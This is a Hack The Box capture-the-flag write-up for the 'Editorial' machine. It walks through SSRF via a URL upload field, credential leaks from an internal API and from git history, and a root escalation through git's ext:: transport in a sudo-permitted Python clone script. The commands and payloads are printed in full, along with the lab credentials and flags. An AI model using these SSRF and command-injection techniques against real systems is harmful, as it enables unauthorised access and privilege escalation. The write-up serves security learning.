# HTB • CTF • Editorial • Write-Up

> Hack The Box Editorial write-up: turn the upload + URL feature into SSRF, grab internal API credentials, then abuse a Git history leak and a Python clone helper to get root.

Author: Elnur Badalov
Published: 2024-08-05
Updated: 2024-08-05
Tags: ctf
Source: https://elnurbda.com/posts/23-htb-ctf-editorial/
License: CC BY 4.0, please cite the source URL.

---

# Info

CTF URL: <https://app.hackthebox.com/machines/Editorial>

IP: 10.10.11.20

Difficulty: <span style="color: cyan;background:rgb(30, 44, 60);">`Easy`</span>

# Reconnaissance

## NMAP

```bash
nmap -p- -sS -sC -sV 10.10.11.20 -v --min-rate 10000

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

## WEB

Add to `editorial.htb` hosts file.

### Dir

```bash
dirsearch -u http://editorial.htb/
# result
[17:50:17] 200 -    3KB - /about
[17:51:27] 200 -    7KB - /upload
```

# `/upload`

This page has upload functionality.
It takes as an input a file or a url.

## Getting request

setup a listener:

```bash
nc -lvnp 1234
```

and enter as an input url: `http://<yourIP>:1234`. You will get:

```http
GET / HTTP/1.1
Host: 10.10.14.9:1234
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
```

So, there is a python backend.

## SSRF

Enter `http://localhost` as an input.

- seems not working
  Maybe some other ports?
  Send to intruder(Burp) or write a custom script to brute force ports.

### Port 5000

`http://localhost:5000` returns a link to static image, downloading it we can find the following:

```json
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}
```

### Checking API

`/api/latest/metadata/messages/authors` gives

```json
{
  "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}
```

Found credentials!

| username | password           |
| -------- | ------------------ |
| dev      | dev080217_devAPI!@ |

## user.txt

We can login as _dev_ user via ssh.

```bash
dev@editorial:~$ cat user.txt
9d0d1725f4b7e77e63d0fa228c59e091
```

# PrivEsc to prod

## .git restore

a repo found

```bash
dev@editorial:~/apps$ ls -la
total 12
drwxrwxr-x 3 dev dev 4096 Jun  5 14:36 .
drwxr-x--- 4 dev dev 4096 Jun  5 14:36 ..
drwxr-xr-x 8 dev dev 4096 Aug  4 22:19 .git
```

We can check status

```bash
git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    app_api/app.py
        deleted:    app_editorial/app.py
        deleted:    app_editorial/static/css/bootstrap-grid.css
        deleted:    app_editorial/static/css/bootstrap-grid.css.map
        deleted:    app_editorial/static/css/bootstrap-grid.min.css
...
        deleted:    app_editorial/static/js/bootstrap.min.js
        deleted:    app_editorial/static/js/bootstrap.min.js.map
        deleted:    app_editorial/templates/about.html
        deleted:    app_editorial/templates/index.html
        deleted:    app_editorial/templates/upload.html
```

we can restore

```bash
git restore app_editorial/app.py
git restore app_api/app.py
```

Some information about how backend works

## `/opt`

some findings in `/opt` folder

```bash
ls /opt/
apps  internal_apps
#
ls apps/
app_editorial
#
ls internal_apps/
app_api  clone_changes  environment_scripts

```

`environment_scripts/clear.sh`

```bash
#!/bin/bash

find /opt/apps/app_editorial/static/uploads/. -exec rm -f {} \; 2>/dev/null
```

## .git Commit History

Let's return to `git`. Maybe something in History?

```bash
git log -p
```

it will reveal:

```json
-        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
```

Found credentials for prod

| username | password                 |
| -------- | ------------------------ |
| prod     | 080217_Producti0n_2023!@ |

we can `su prod` now

# PrivEsc to root

## `/opt`

We now have access to the following:

```bash
prod@editorial:/opt/internal_apps/clone_changes$ cat clone_prod_change.py
```

```python
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
```

## Sudo Permissions

```bash
prod@editorial:~$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
```

## Exploit

**Git** needs to be exploited somehow. There is the following documentation:

- <https://git-scm.com/docs/git-remote-ext>

```bash
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c echo% 1% >% /home/prod/1"
# it works
```

Now let's craft some exploit

```bash
vim exploit.py
# import os; os.system("/bin/sh")

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c cat% /home/prod/exploit.py% >% /opt/internal_apps/clone_changes/clone_prod_change.py"

cat /opt/internal_apps/clone_changes/clone_prod_change.py
# import os; os.system("/bin/sh")

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 1
# and you become a root
```

## root.txt

```bash
whoami
root

cat root.txt
b7f6c7ce258b754516701f59f8df3b0d
```

# Result

- <https://www.hackthebox.com/achievement/machine/1349385/608>